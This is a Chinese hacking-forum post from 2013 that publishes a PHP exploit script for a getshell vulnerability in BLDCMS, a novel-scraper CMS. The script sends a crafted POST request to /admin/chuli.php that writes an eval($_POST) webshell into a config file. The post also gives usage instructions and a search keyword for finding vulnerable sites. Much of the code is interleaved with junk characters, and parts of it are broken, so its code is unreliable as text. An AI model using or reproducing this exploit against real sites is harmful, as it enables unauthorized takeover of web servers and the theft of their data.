中国网络渗透测试联盟

标题: BLDCMS(白老大小说) Getshell 0day EXP [打印本页]

作者: admin    时间: 2013-3-26 20:49
标题: BLDCMS(白老大小说) Getshell 0day EXP
之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
* g' @* c: H$ b, J! N  a. P1 p, D5 P1 t4 I+ ^5 P/ O: }

3 J+ p" `- r4 C0 m话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了 , w' m+ `5 W- Z* a; u/ K
) b5 c" J$ W- a
既然都有人发了 我就把我之前写好的EXP放出来吧
* @2 {: T! L4 @2 G" }( t  G! j  h 7 Y+ i3 Y5 M. V4 d7 P7 C
view source print?01.php;">; [* `. p6 l$ p4 Q3 s3 z. [  u" t
02.<!--?php. R" e# l! Q! n" G1 N! h
03.echo "-------------------------------------------------------------------
) ^3 R% j1 C$ K04.
  q# `9 g9 g; K5 ~" q) Z: ?" a05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP* }- T" ]2 R2 i5 k4 e, c; w
06.
8 U4 ]$ Y- ]4 r$ ?) T2 f07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun
. w9 h' {  `& L08.
) L8 V" A3 k# ~* v: ^' k! M09.QQ:981009941\r\n                                2013.3.21\r\n             8 r' f/ g5 a0 X5 O& [
10.
6 v0 _6 C  k+ `9 X11. 9 L: u( ?2 |1 F: A3 a; x( W
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
! S# J) \) y) [+ m/ G, V- ^1 \  D13. ' {# U) ~8 p( b) r( o% u
14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------$ E. x3 `' l3 v% u
15.
& _- [  u  O8 u16.--------------------------------------------------------------------\r\n";
  Q* f7 w, `- a/ n2 ?& [9 H17.$url=$argv[1];
/ R$ W( A1 K3 ~' C  Z18.$dir=$argv[2];
+ H( d# n: X5 H  b. g6 O19.$pass=$argv[3];
$ p7 N1 u* x( l1 j4 _0 A20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
' j2 |( X1 ~, ]  R! ]21.if (emptyempty($pass)||emptyempty($url))' _+ }3 b  `" K: U: b1 J
22.{exit("请输入参数");}
: a9 @& }$ X/ G0 e: J) U8 K2 Y: {1 @23.else
8 D1 k  V/ s* i5 Y24.{
, e% n: s6 s+ k: x$ `% q25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev: z3 {8 l/ ~0 n) s, }
26.
8 }1 l$ k+ R0 v4 {# |. q  z27.al;
+ F4 h" ]: Q% g28.$length = strlen($fuckdata);" d' g+ F7 |) G: u4 R4 R/ ?
29.function getshell($url,$pass)$ ?7 w6 N% |" s2 ]! Q1 s7 F+ n& J1 h
30.{
' L7 V/ C" G; J) `8 U31.global $url,$dir,$pass,$eval,$length,$fuckdata;
( w0 S1 w* C, r1 g( W7 p: h32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
' i/ y& n" r9 q/ I; D% f33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
& O0 x' [- y! _$ d! |" B34.$header .= "User-Agent: MSIE\r\n";  v3 x( Q( Y5 N2 V5 r: S. d
35.$header .= "Host:".$url."\r\n";- D4 t% y5 U4 y+ L# ]
36.$header .= "Content-Length: ".$length."\r\n";
" [, V, r3 B4 s- d37.$header .= "Connection: Close\r\n";0 J( q/ O3 i6 g8 c# E0 w
38.$header .="\r\n";4 F/ j) }0 Y( {. m% D; ]
39.$header .= $fuckdata."\r\n\r\n";
7 {, ?, k+ E- G/ R) b40.$fp = fsockopen($url, 80,$errno,$errstr,15);
' S) j( E  v( L+ {  z) C. i41.if (!$fp)
5 \$ ]0 `4 e5 H# S42.{) B. g+ B, p: Q0 ~
43.exit ("利用失败:请检查指定目标是否能正常打开");% ~, m. M" @0 B5 f- [
44.}
# ~, i9 r" e' j4 y45.else{ if (!fputs($fp,$header)), q# n& U( ^  d
46.{exit ("利用失败");}2 ]8 [% g  n, a
47.else- R/ }! s" d" G- C
48.{
; K  H/ E' ~* _/ l. G& ^49.$receive = '';7 H1 a  R8 @  Y. M! @9 }$ c
50.while (!feof($fp)) {! B, Y0 S7 e; r+ Y) |$ G- C
51.$receive .= @fgets($fp, 1000);
. l  y' z9 @  _$ M- v& }' D+ }52.}; O& U9 J# ~/ H1 d! N+ S
53.@fclose($fp);, u8 h4 Q0 B$ `. d" ?
54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标; x0 q( U3 ]8 r- o0 i& t$ y
55. 0 a1 k( M0 N! r7 G2 ?! I$ D5 f
56.GPC是否=off)";$ l6 f# j) y  F( h$ z; y- t& u5 ^
57.}}
( q7 `4 S7 L  D9 T58.}, x# I2 h+ X1 E  t: y1 n, Z
59.}: G! x3 M: `# v, \( j5 e" T
60.getshell($url,$pass);
! w) L9 r; u; F2 `61.?-->
( M( p. k. B: `/ l/ E' b
' [+ _+ P) g6 E! @9 `  ?* b
" O  N3 h. `. u( C7 O  Y
9 {5 o+ }  a$ bby 数据流8 ^6 [" O9 w0 v6 y% i# d





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2